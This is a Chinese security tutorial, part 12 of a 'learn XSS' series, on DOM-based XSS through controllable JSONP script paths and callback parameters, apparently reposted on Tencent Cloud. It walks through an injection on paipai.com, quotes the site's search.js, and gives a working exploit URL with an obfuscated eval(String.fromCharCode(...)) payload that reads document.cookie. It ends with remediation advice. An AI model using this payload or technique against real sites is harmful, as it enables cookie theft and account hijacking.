前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >那些年我们一起学XSS - 12. Dom Xss进阶 [路径con]

那些年我们一起学XSS - 12. Dom Xss进阶 [路径con]

作者头像
渗透攻击红队
发布2019-11-20 11:20:37
1.1K0
发布2019-11-20 11:20:37
举报
文章被收录于专栏:漏洞知识库漏洞知识库
漏洞知识库

网络安全/渗透测试/代码审计/

关注

Dom Xss进阶 [路径con]

漏洞简介

代码语言:javascript
复制
我不是萝莉con,我是路径con。
一些程序员会动态的加载json数据,同域的时候,可以使用ajax;而有时候,数据所在域和当前页面所在域又不一致。所以需要跨域请求。跨域请求数据的手段中,有一种叫做jsonp。
用代码表示的话,就是
somescript.src="http://otherdomain.com/xx?jsonp=callback"
某些时候,程序员会在调用外部数据的时候带上可控的参数。
somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;
如果这个id我们可控,将可能带来XSS问题。

本次教程,就不像前面的一样,去细说操作过程了,前面的几次教程也基本将常用操作全部介绍到了。直接来看例子。

1. 在扫描过程中,经常遇到下面的例子。

2. 初看看,这种情况,似乎没有什么利用价值。

3. 但是我们不难想象,如果这个地址是我们可控的话,一样会带来威胁。 地址的可控可以分为3个层面。

3.1 script src="完全可控" ,这种就简单了,直接将地址换为我们的JS地址

3.2 script src="/path/xxx/[路径可控]/1.js" 这种要利用的话,需要同域名下有可控的文件。可控文件又分为2种。

3.2.1 可以直接上传文本至同域名下,不一定要是HTML文件,需要上传点有过滤缺陷。

3.2.2 参数可控,利用可用的json接口。 最终变为 script src="/path/xxx/.../yyy/xx.json?callback=alert(1)"

3.3 script src="/xxxx/json.php?callback=xxxx&param1=yyy&param2=[参数可控]" 这种情况,和3.2.2类似,如果参数可控,且json的参数没有很好的过滤时。我们就有机可乘了。

4. 本文以拍拍网一处XSS为例,来描述以上可能性。 扫描器扫到的点,见步骤1中的图。进一步,我们可以通过抓包的方式,看到页面在打开时,所加载的外部JS文件地址。

http://sse1.paipai.com/comm_json?callback=commentListCallBack&dtag=1&ac=1&cluster=1&sellquality=0&NewProp=&Property=256&PageNum=1&PageSize=48&OrderStyle=80&Address=&SaleType=1&degree=1&AuthType=2&BeginPrice=&EndPrice=&KeyWord=2012%20%D0%C2&OnlineState=2&Paytype=4&ranking=&sClassid='aaaaaaaa&t=1354854681

我们打开这个JSON,用扫描反射型的方式,可以测试出, callback, dtag 以及 ranking可控。但均无法使用<, >,也就是说,这个JSON接口本身是无XSS风险的。

此外 dtag, 和 ranking 都在双引号里面,我们在后续无法进行利用,而callback则在最前面,比较好控制。

我们可以想象下,如果我们可以让这个页面调用: http://sse1.paipai.com/comm_json?callback=alert(1); 那么将会产生XSS。 那么怎么让页面调用上面的情况呢?

4.1 直接控制callback参数,但是从实际情况来看,我们此处无法直接控制它,【失败】

4.2 将后面的参数, param=xxx修改为param=xxx&callback=alert(1) ,从而覆盖前面的callback

5. 上面说到的第2种方案,似乎可行。但是实际上还是有问题的。 譬如我们页面上的 type参数,对应着json的sclassid参数。 我们访问以下地址: http://bag.paipai.com/search_list.shtml?type=&callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13

其实很明显上面这样是不行的。。因为 & 本身就是参数分隔符。这样写type就为空了 可能很快就有人想到另外一个写法:& 写为 %26 http://bag.paipai.com/search_list.shtml?type=%26callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13 很好,但是实际上,你会发现,访问的json接口的参数也还是原封不动的 %26,而不是所希望的 &

6. 为了看看参数是怎么从页面,传递到了 comm_json 这个接口上的。我们定位到以下代码。 http://static.paipaiimg.com/js/search.js?t=20121108

代码语言:javascript
复制
function init() {
        var keyword = decodeURIComp($getQuery('keyword')),
        type = $getQuery('type'),
        searchtype = $getQuery('searchtype');
        option.keyword = keyword;
        option.classId = type;
        option.searchType = searchtype || option.searchType;
        option.beginPrice = $getQuery('bp');
        option.endPrice = $getQuery('ep');
        option.NewProp = $getQuery('np') || $getQuery('newprop');
        option.property = $getQuery('pro') || option.property;
        option.cid = $getQuery('cid');
        option.Paytype = $getQuery('pt') || option.Paytype;
        option.hongbaoKeyword = $getQuery('hb');
        option.conditionStatus = $getQuery('cs') || option.conditionStatus;
        option.showType = $getQuery('show') || option.showType;
        option.mode = $getQuery('mode') || option.mode;
        option.address = decodeURIComp($getQuery('adr'));
        option.orderStyle = $getQuery('os') || option.orderStyle || 80;
        option.hideKeyword = $getQuery('hkwd') == "true" ? true: false;
        option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG');
        var pageIndex = $getQuery('pi'),
        pageSize = $getQuery('ps');
        option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex;
        option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize;
    };

在这个文件里,我们很容易的看出,当前页面参数和json参数的对应关系 option.JSON参数=$getQuery("页面参数")

7. 一个函数让我眼前一亮啊,decodeURIComp。。也就是说,传入的keyword,会解码一次。

也就是说,如果我们 keyword=%26callback=alert(1); decodeURIComp就会变为 &callback=alert(1);

为了证明我们的想法:我们直接写利用代码。注意keyword=那一部分

代码语言:javascript
复制
http://bag.paipai.com/search_list.shtml?type=213280&np=11&pro=256&searchtype=2&cs=0010000&keyword=%26callback=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));void&PTAG=20058.13.13

8. 看效果:弹了吧

抓包可以看到,被动态加载的keyword参数,我们在后面插入了一个callback,覆盖了前面的callback

同样,看到返回的comm_json的内容

修复方案:

1. 可在调用外部json数据时,对参数进行严格控制。 2. 也可对jsonp接口的callback参数进行更加严格的字符控制,一般的callback,只需要允许,字母,数字+下划线即可。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏洞知识库 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档